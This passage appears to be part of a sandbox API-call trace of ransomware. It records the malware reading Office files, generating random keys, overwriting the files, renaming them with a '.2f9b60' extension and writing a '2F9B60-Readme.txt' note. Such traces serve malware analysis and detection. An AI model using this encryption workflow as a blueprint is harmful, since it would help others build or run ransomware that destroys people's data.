Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c90 [0139.204] WriteFile (in: hFile=0x1c90, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2a72fa70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2a72fa70*=0xba9, lpOverlapped=0x0) returned 1 [0139.205] CloseHandle (hObject=0x1c90) returned 1 [0139.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c3a0) returned 1 [0139.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a650) returned 1 Thread: id = 1834 os_tid = 0xf34 [0132.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam")) returned 0x20 [0132.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM", dwFileAttributes=0x20) returned 1 [0132.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b3c [0132.935] GetFileSizeEx (in: hFile=0x1b3c, lpFileSize=0x2a07fe20 | out: lpFileSize=0x2a07fe20*=53035) returned 1 [0132.935] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0xcf27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.935] ReadFile (in: hFile=0x1b3c, lpBuffer=0x2a07fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a07fde8, lpOverlapped=0x0 | out: lpBuffer=0x2a07fda0*, lpNumberOfBytesRead=0x2a07fde8*=0x4, lpOverlapped=0x0) returned 1 [0132.939] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267020 [0132.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267050 [0132.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267080 [0132.939] NtQuerySystemTime (in: CurrentTime=0x2a07fce0 | out: CurrentTime=0x2a07fce0*=132462177381766000) returned 0x0 [0132.939] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0xbde2067 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x407367e5 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x436cf1fe [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x16036f3e [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x41b1c314 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x3926a58a [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x6dae2bd7 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x6ac4563e [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x4234cffc [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x44141a86 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x5e292da0 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x4672fddc [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x1597a221 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0xddca118 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x25e5faa3 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x47ce3c8 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x4561ce3b [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x77113aa7 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x22783f0b [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x70e3b5fc [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x7a6d910b [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x3eed2719 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x386c7ac5 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x7101348 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0xaba9a03 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x223c9e2f [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x6cd996e0 [0132.940] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x2c3acea8 [0132.941] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x77e58722 [0132.941] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x5210676 [0132.941] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x540867d [0132.941] RtlRandomEx (in: Seed=0x2a07fcd0 | out: Seed=0x2a07fcd0) returned 0x1ea24e4a [0132.952] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.952] ReadFile (in: hFile=0x1b3c, lpBuffer=0x1cf2de20, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2a07fd40, lpOverlapped=0x0 | out: lpBuffer=0x1cf2de20*, lpNumberOfBytesRead=0x2a07fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0132.978] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0132.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0132.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f90 [0132.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f90) returned 1 [0132.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf31a30 [0132.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f90 [0132.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0132.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f60) returned 1 [0132.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.979] WriteFile (hFile=0x1b3c, lpBuffer=0x1cf31a30, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2a07fd40, lpOverlapped=0x0) [0179.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf31a30) returned 1 [0179.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf2de20) returned 1 [0179.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0d70 [0179.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62a00 [0179.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba4e0 [0179.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0b90 [0179.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0b90) returned 1 [0179.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1cdb0b90 [0179.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0d10 [0179.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bc0 [0179.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba4e0) returned 1 [0179.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62a00) returned 1 [0179.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a9d60 [0179.586] SetFilePointerEx (in: hFile=0x1b3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0179.586] WriteFile (in: hFile=0x1b3c, lpBuffer=0x423a9d60*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2a07fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423a9d60*, lpNumberOfBytesWritten=0x2a07fdf0*=0x108, lpOverlapped=0x0) returned 1 [0199.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c400 [0199.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c400) returned 1 [0199.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x42c0eae0 [0199.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c400 [0199.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c430 [0199.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c430) returned 1 [0199.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5e370 [0199.146] sprintf (in: _Dest=0x1ce5e370, _Format="%c%c" | out: _Dest="43") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e372, _Format="%c%c" | out: _Dest="44") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e374, _Format="%c%c" | out: _Dest="48") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e376, _Format="%c%c" | out: _Dest="a0") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e378, _Format="%c%c" | out: _Dest="9a") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e37a, _Format="%c%c" | out: _Dest="9e") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e37c, _Format="%c%c" | out: _Dest="35") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e37e, _Format="%c%c" | out: _Dest="53") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e380, _Format="%c%c" | out: _Dest="b0") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e382, _Format="%c%c" | out: _Dest="aa") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e384, _Format="%c%c" | out: _Dest="d8") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e386, _Format="%c%c" | out: _Dest="1d") returned 2 [0199.146] sprintf (in: _Dest=0x1ce5e388, _Format="%c%c" | out: _Dest="ce") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e38a, _Format="%c%c" | out: _Dest="f3") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e38c, _Format="%c%c" | out: _Dest="1f") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e38e, _Format="%c%c" | out: _Dest="8d") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e390, _Format="%c%c" | out: _Dest="50") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e392, _Format="%c%c" | out: _Dest="1b") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e394, _Format="%c%c" | out: _Dest="d0") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e396, _Format="%c%c" | out: _Dest="6c") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e398, _Format="%c%c" | out: _Dest="c3") returned 2 [0199.147] sprintf (in: _Dest=0x1ce5e39a, _Format="%c%c" | out: _Dest="10") returned 2 [0199.147] RtlInitAnsiString (in: DestinationString=0x2a07fe68, SourceString="434448a09a9e3553b0aad81dcef31f8d501bd06cc310" | out: DestinationString="434448a09a9e3553b0aad81dcef31f8d501bd06cc310") [0199.147] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a07fe38, SourceString="434448a09a9e3553b0aad81dcef31f8d501bd06cc310", AllocateDestinationString=1 | out: DestinationString="434448a09a9e3553b0aad81dcef31f8d501bd06cc310") returned 0x0 [0199.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4309ff30 [0199.148] wcscat (in: _Dest=0x431f2930, _Source="434448a09a9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\434448a09a9") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\434448a09a9" [0199.148] wcscat (in: _Dest=0x431f2930, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\434448a09a9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\434448a09a9.2f9b60" [0199.148] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\434448a09a9.2f9b60", NtPathName=0x2a07fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\434448a09a9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4205f430 [0209.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f430) returned 1 [0209.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43099ac0) returned 1 [0209.182] NtQueryInformationFile (in: FileHandle=0x1b3c, IoStatusBlock=0x2a07fe78, FileInformation=0x2a07fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a07fe78, FileInformation=0x2a07fe88) returned 0x0 [0209.182] NtSetInformationFile (FileHandle=0x1b3c, IoStatusBlock=0x2a07fe78, FileInformation=0x2a07fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0231.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2930) returned 1 [0231.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309ff30) returned 1 [0231.407] FlushFileBuffers (hFile=0x1b3c) returned 1 [0238.294] CloseHandle (hObject=0x1b3c) returned 1 [0241.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x431f4e00 [0241.774] wcscpy (in: _Dest=0x431f4e00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\" [0241.774] wcscat (in: _Dest=0x431f4e00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" [0241.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\2f9b60-readme.txt")) returned 0x20 [0241.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4e00) returned 1 [0241.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a5b0) returned 1 Thread: id = 1835 os_tid = 0xc64 [0132.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp")) returned 0x20 [0135.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp", dwFileAttributes=0x20) returned 1 [0138.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\informationiconmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f14 [0140.532] GetFileSizeEx (in: hFile=0x1f14, lpFileSize=0x2a99fba0 | out: lpFileSize=0x2a99fba0*=2104) returned 1 [0140.532] SetFilePointerEx (in: hFile=0x1f14, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.532] ReadFile (in: hFile=0x1f14, lpBuffer=0x2a99fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a99fb68, lpOverlapped=0x0 | out: lpBuffer=0x2a99fb20*, lpNumberOfBytesRead=0x2a99fb68*=0x4, lpOverlapped=0x0) returned 1 [0140.564] SetFilePointerEx (in: hFile=0x1f14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7b0 [0140.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd840 [0140.564] NtQuerySystemTime (in: CurrentTime=0x2a99fa60 | out: CurrentTime=0x2a99fa60*=132462177458050000) returned 0x0 [0140.564] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x59d60790 [0140.564] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x2f9c745f [0140.564] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x474b33c4 [0140.564] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0xd02716f [0140.564] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x5cc4f4c5 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x51be90db [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x17e301d9 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x59ee6a4f [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x5a65ea28 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x2c0d012d [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x670529d8 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x7e4d60b5 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x60ac27cc [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x547d9c43 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x61bc5c67 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x7603478e [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x1378ee5b [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x1704d9d4 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x77179498 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x31104635 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0xcdb1003 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x1701e31e [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0xaac6ea7 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x357b45f2 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x42928d01 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x33e5335e [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x35847fd1 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x1704e91c [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x73839960 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x6ece7c19 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x7cb65bf1 [0140.565] RtlRandomEx (in: Seed=0x2a99fa50 | out: Seed=0x2a99fa50) returned 0x4c1b0872 [0140.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd870 [0140.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0140.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd8a0 [0140.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0140.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd840) returned 1 [0140.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0140.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0140.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0140.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b290) returned 1 [0140.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422479e0 [0140.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4224b5f0 [0140.582] ReadFile (in: hFile=0x1f14, lpBuffer=0x422479e0, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x2a99fa50, lpOverlapped=0x0 | out: lpBuffer=0x422479e0*, lpNumberOfBytesRead=0x2a99fa50*=0x838, lpOverlapped=0x0) returned 1 [0140.582] SetFilePointerEx (in: hFile=0x1f14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.582] WriteFile (in: hFile=0x1f14, lpBuffer=0x4224b5f0*, nNumberOfBytesToWrite=0x838, lpNumberOfBytesWritten=0x2a99fa54, lpOverlapped=0x0 | out: lpBuffer=0x4224b5f0*, lpNumberOfBytesWritten=0x2a99fa54*=0x838, lpOverlapped=0x0) returned 1 [0160.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1760 [0160.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a17c0 [0160.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a17c0) returned 1 [0160.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4224b5f0) returned 1 [0160.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422479e0) returned 1 [0160.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0160.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0160.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x42059240 [0160.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0160.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0160.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a17c0 [0160.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a17c0) returned 1 [0160.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x42059510 [0160.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a17c0 [0160.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2720 [0160.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2720) returned 1 [0160.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0160.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0160.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x18db00 [0160.872] SetFilePointerEx (in: hFile=0x1f14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.872] WriteFile (in: hFile=0x1f14, lpBuffer=0x18db00*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2a99fb70, lpOverlapped=0x0 | out: lpBuffer=0x18db00*, lpNumberOfBytesWritten=0x2a99fb70*=0x120, lpOverlapped=0x0) returned 1 [0165.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x18db00) returned 1 [0165.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059510) returned 1 [0165.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a17c0) returned 1 [0165.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1760) returned 1 [0165.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7b0) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd870) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd8a0) returned 1 [0165.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c36990 [0165.611] wcscpy (in: 